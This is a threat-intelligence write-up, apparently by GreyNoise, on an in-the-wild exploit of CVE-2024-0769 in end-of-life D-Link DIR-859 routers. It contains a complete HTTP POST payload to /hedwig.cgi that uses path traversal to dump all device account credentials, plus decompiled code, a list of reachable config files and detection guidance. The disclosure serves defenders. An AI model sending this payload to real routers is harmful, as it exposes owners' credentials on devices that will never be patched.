Full Report
Recently Sift caught an interesting payload. As it turns out, the exploit was CVE-2024-0769, which is now tagged here: D-Link DIR-859 Information Disclosure Attempt . This vulnerability is a path traversal leading to information disclosure. But, perhaps most notably, it affects D-Link DIR-859 WiFi routers. All revisions. All firmware. And the product is End-of-Life (EOL) meaning it will never receive a patch. The original disclosure/writeup is available here and uses DIR-859 Firmware RevA_FW_Patch_v1.06B01. For their PoC, they demonstrate utilizing the path traversal to trigger the rendering of: ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml GreyNoise observed a slight variation in-the-wild which leverages the vulnerability to render a different PHP file to dump account names, passwords, groups, and descriptions for all users of the device. At the time of writing we are not aware of the motivations to disclose/collect this information and are actively monitoring it: POST /hedwig.cgi HTTP/1.1 Host: ip>:8088 Content-Length: 141 Content-Type: text/xml Cookie: uid=R8tBjwtFc8 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World) ?xml version="1.0" encoding="utf-8"?> postxml>module>service> ../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml /service>/module>/postxml> Let’s take a quick peek at how it works and what’s different from the original PoC. What it is? On a D-Link DIR-859, HTTP requests to POST /hedwig.cgi and pretty much all other CGI calls actually go through a single binary located at /htdocs/cgibin and are handled with a large branching main function with a jump table: // main if (strcmp($s0, "captcha.cgi") == 0) { $t9 = captchacgi_main; argc_1 = argc; } else if (strcmp($s0, "hedwig.cgi") == 0) { $t9 = hedwigcgi_main; argc_1 = argc; } else if (strcmp($s0, "pigwidgeon.cgi") == 0) { $t9 = pigwidgeoncgi_main; argc_1 = argc; } The request is then passed to hedwigcgi_main where the vulnerable code section is reached. User-controlled data is formatted with snprintf and passed to the PHP file /htdocs/webinc/fatlady.php via a call to xmldbc_ephp. // hedwigcgi_main /* Payload is checked to contain postxml */ pcVar1 = strstr(DAT_00437430,""); /* Copy parent XML node (module) */ if (pcVar1 != (char *)0x0) { fprintf(pFVar3,"%s\n",pcVar1); } ppcVar7 = local_4bc + iVar9; /* Close all XML nodes */ do { iVar5 = iVar5 + -1; fprintf(pFVar3,"%s>\n",*ppcVar7); ppcVar7 = ppcVar7 + -1; } while (0 iVar5); /* Flush output to disk as temp file */ fflush(pFVar3); /* Read the file through xmldbc and remove temp file */ xmldbc_read((char *)0x0,2,"/var/tmp/temp.xml"); iVar5 = fileno(pFVar3); lockf(iVar5,0,0); fclose(pFVar3); remove("/var/tmp/temp.xml"); puVar4 = sobj_get_string(iVar2); /* Where the magic happens */ /* User-controlled node is formatted for fatlady.php */ snprintf(acStack_428,0x400,"/htdocs/webinc/fatlady.php\nprefix=%s/%s\nPrivateKey=%s\n", "/runtime/session",puVar4,privatekey); /* Execute the PHP file */ xmldbc_ephp((char *)0x0,0,acStack_428,_stdout); The relevant portions of /htdocs/webinc/fatlady.php are shown below for how they parse and resolve the (now) user controlled module->service. fatlady.php HTTP/1.1 200 OK Content-Type: text/xml ? include "/htdocs/phplib/trace.php"; // foreach ($prefix."/postxml/module") { del("valid"); if (query("FATLADY")=="ignore") continue; $service = query("service"); if ($service == "") continue; TRACE_debug("FATLADY: got service [".$service."]"); // This is where the user-controlled data is injected // for a path traversal $target = "/htdocs/phplib/fatlady/".$service.".php"; $FATLADY_prefix = $prefix."/postxml/module:".$InDeX; $FATLADY_base = $prefix."/postxml"; if (isfile($target)==1) dophp("load", $target); else { // } if ($FATLADY_result!="OK") break; } echo "\"1.0\" encoding=\"utf-8\"?>\n"; echo "\n"; echo "\t". $FATLADY_result. "\n"; echo "\t". $FATLADY_node. "\n"; echo "\t". $FATLADY_message. "\n"; echo "\n"; ?> What it do? In the originally provided PoC the path traversal vulnerability was used to render DHCPS6.BRIDGE-1.xml, which is actually just a stub that includes DHCPS6.LAN-1.xml. These can be arbitrarily substituted with the same end result as shown in the original writeup: disclosing plaintext username/password. In the variation as observed by GreyNoise DEVICE.ACCOUNT.xml is utilized. We went ahead and retrieved this file in full. While the exploit conditions are the same as the public PoC, the variation as observed by GreyNoise is dumping all name, password, group, and description for all users of the device. DEVICE.ACCOUNT.xml.php module> service>?=$GETCFG_SVC?>service> device> account> ? $cnt = query("/device/account/count"); if ($cnt=="") $cnt=0; echo "\t\t\t".query("/device/account/seqno")."\n"; echo "\t\t\t".query("/device/account/max")."\n"; echo "\t\t\t".$cnt."\n"; foreach("/device/account/entry") { if ($InDeX > $cnt) break; if (query("password")=="") $pwd = ""; else $pwd = "==OoXxGgYy=="; echo "\t\t\t\n"; echo "\t\t\t\t". get("x","name"). "\n"; echo "\t\t\t\t". $pwd. "\n"; echo "\t\t\t\t". get("x", "group"). "\n"; echo "\t\t\t\t".get("x","description")."\n"; echo "\t\t\t\n"; } ?> account> session> ? echo dump(3, "/device/session"); ?> session> device> module> What it for? It is unclear at this time what the intended use of this disclosed information is, it should be noted that these devices will never receive a patch. Any information disclosed from the device will remain valuable to attackers for the lifetime of the device as long as it remains internet facing. These attributes make for the potential of a long-tail of exploitation that may come to a head at a later date, such as through a currently unknown authenticated RCE vulnerability in the affected device. We’ll continue to keep a close eye on relevant activity. As such, all of the possible variations of other getcfg files that can be invoked using CVE-2024-0769 are listed after the break for to help security researchers locate this blog via search engines for any variations of exploitation that may crop up in the future. ACL.xml.php MULTICAST.xml.php BRIDGE.xml.php NAT.xml.php BWC.xml.php NETSNIPER.NAT-1.xml.php CALLMGR.xml.php PFWD.NAT-1.xml.php CALL.MISSED.xml.php PFWD.NAT-2.xml.php DDNS4.INF.xml.php PHYINF.BRIDGE-1.xml.php DDNS4.WAN-1.xml.php PHYINF.LAN-1.xml.php DDNS4.WAN-2.xml.php PHYINF.WAN-1.xml.php DDNS4.WAN-3.xml.php PHYINF.WIFI.xml.php DEVICE.ACCOUNT.xml.php PORTT.NAT-1.xml.php DEVICE.DIAGNOSTIC.xml.php QOS.xml.php DEVICE.HOSTNAME.xml.php ROUTE6.DYNAMIC.xml.php DEVICE.LAYOUT.xml.php ROUTE6.STATIC.xml.php DEVICE.LOG.xml.php ROUTE.DESTNET.xml.php DEVICE.PASSTHROUGH.xml.php ROUTE.IPUNNUMBERED.xml.php DEVICE.RDNSS.xml.php ROUTE.STATIC.xml.php DEVICE.TIME.xml.php RUNTIME.CLIENTS.xml.php DHCPS4.BRIDGE-1.xml.php RUNTIME.CONNSTA.xml.php DHCPS4.INF.xml.php RUNTIME.DDNS4.WAN-1.xml.php DHCPS4.LAN-1.xml.php RUNTIME.DEVICE.xml.php DHCPS4.LAN-2.xml.php RUNTIME.DFS.xml.php DHCPS6.BRIDGE-1.xml.php RUNTIME.INF.BRIDGE-1.xml.php DHCPS6.INF.xml.php RUNTIME.INF.LAN-1.xml.php DHCPS6.LAN-1.xml.php RUNTIME.INF.LAN-2.xml.php DHCPS6.LAN-2.xml.php RUNTIME.INF.LAN-4.xml.php DHCPS6.LAN-3.xml.php RUNTIME.INF.LAN-5.xml.php DHCPS6.LAN-4.xml.php RUNTIME.INF.LAN-6.xml.php DMZ.NAT-1.xml.php RUNTIME.INF.WAN-1.xml.php DMZ.NAT-2.xml.php RUNTIME.INF.WAN-2.xml.php DNS4.INF.xml.php RUNTIME.INF.WAN-3.xml.php DNS4.LAN-1.xml.php RUNTIME.INF.WAN-4.xml.php DNS4.LAN-2.xml.php RUNTIME.INF.xml.php FDISK.xml.php RUNTIME.LOG.xml.php FIREWALL-2.xml.php RUNTIME.OPERATOR.xml.php FIREWALL-3.xml.php RUNTIME.PHYINF.ETH-1.xml.php FIREWALL6.xml.php RUNTIME.PHYINF.ETH-2.xml.php FIREWALL.xml.php RUNTIME.PHYINF.ETH-3.xml.php HTTP.WAN-1.xml.php RUNTIME.PHYINF.WLAN-1.xml.php HTTP.WAN-2.xml.php RUNTIME.PHYINF.WLAN-2.xml.php HTTP.WAN-3.xml.php RUNTIME.PHYINF.xml.php ICMP.WAN-1.xml.php RUNTIME.ROUTE.DYNAMIC.xml.php ICMP.WAN-2.xml.php RUNTIME.TIME.xml.php ICMP.WAN-3.xml.php RUNTIME.TTY.xml.php INET.BRIDGE-1.xml.php RUNTIME.UPNP.PORTM.xml.php INET.INF.xml.php RUNTIME.WPS.WLAN-1.xml.php INET.LAN-1.xml.php SCHEDULE.xml.php INET.LAN-2.xml.php SMS.SEND.xml.php INET.LAN-3.xml.php SMS.xml.php INET.LAN-4.xml.php STARSPEED.WAN-1.xml.php INET.LAN-5.xml.php UPNP.BRIDGE-1.xml.php INET.LAN-6.xml.php UPNP.LAN-1.xml.php INET.WAN-1.xml.php UPNP.LAN-3.xml.php INET.WAN-2.xml.php URLCTRL.xml.php INET.WAN-3.xml.php VSVR.NAT-1.xml.php INET.WAN-4.xml.php VSVR.NAT-2.xml.php INET.WAN-5.xml.php WAN.RESTART.xml.php INET.xml.php WAN.xml.php INF.xml.php WIFI.PHYINF.xml.php IUM.xml.php WIFI.WLAN-1.xml.php LAN.xml.php WIFI.WLAN-2.xml.php MACCTRL.xml.php WIFI.xml.php
Analysis Summary
# Vulnerability: D-Link DIR-859 Path Traversal Leading to Information Disclosure
## CVE Details
- CVE ID: CVE-2024-0769
- CVSS Score: Not explicitly provided, classified as Information Disclosure.
- CWE: Path Traversal (CWE-22 implied)
## Affected Systems
- Products: D-Link DIR-859 WiFi routers
- Versions: All revisions, all firmware.
- Configurations: Internet-facing devices are susceptible.
## Vulnerability Description
CVE-2024-0769 is a path traversal vulnerability that exists in the way HTTP requests to `POST /hedwig.cgi` (and other CGI calls) are handled by the underlying binary located at `/htdocs/cgibin`. Specifically, user-controlled data within the XML payload sent to `hedwigcgi_main` is passed to `/htdocs/webinc/fatlady.php` via `xmldbc_ephp`. The `fatlady.php` script uses this user-controlled input (`query("service")`) to construct a file path (`/htdocs/phplib/fatlady/".$service.".php`) without sufficient sanitization, allowing an attacker to traverse directories (e.g., using `../`) to read arbitrary configuration files.
## Exploitation
- Status: Exploited in the wild (observed by GreyNoise)
- Complexity: Low (Requires only crafting a malicious HTTP POST request to the device's CGI interface)
- Attack Vector: Network
## Impact
- Confidentiality: High (Allows disclosure of sensitive configuration files, including plaintext usernames and passwords for all device users in observed attacks.)
- Integrity: Low (No direct modification demonstrated, focused on disclosure.)
- Availability: Negligible (The process itself does not cause a denial of service.)
## Remediation
### Patches
- **None available.** This D-Link product is End-of-Life (EOL) and will not receive any official security patches.
### Workarounds
- Immediately segment or isolate the affected D-Link DIR-859 router from the public internet if possible.
- Change default administrative credentials and review configuration files for existing compromise.
## Detection
- **Indicators of Compromise (IOCs):** HTTP POST requests targeting `/hedwig.cgi` containing XML payloads that include directory traversal sequences (`../../`) targeting configuration files like `DEVICE.ACCOUNT.xml`.
- **Detection Methods and Tools:** Monitor network traffic directed at the router's web interface (especially port 8088 mentioned in the sample request) for unusual POST requests to CGI endpoints like `/hedwig.cgi` containing suspicious paths.
## References
- Original Writeup: hxxps://github.com/c2dc/cve-reported/blob/main/CVE-2024-0769/CVE-2024-0769.md
- GreyNoise Observation/Tag: hxxps://viz.greynoise.io/tags/dlink-dir-859-information-disclosure-attempt?days=30
- Vendor Advisory (EOL Notice): hxxps://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10371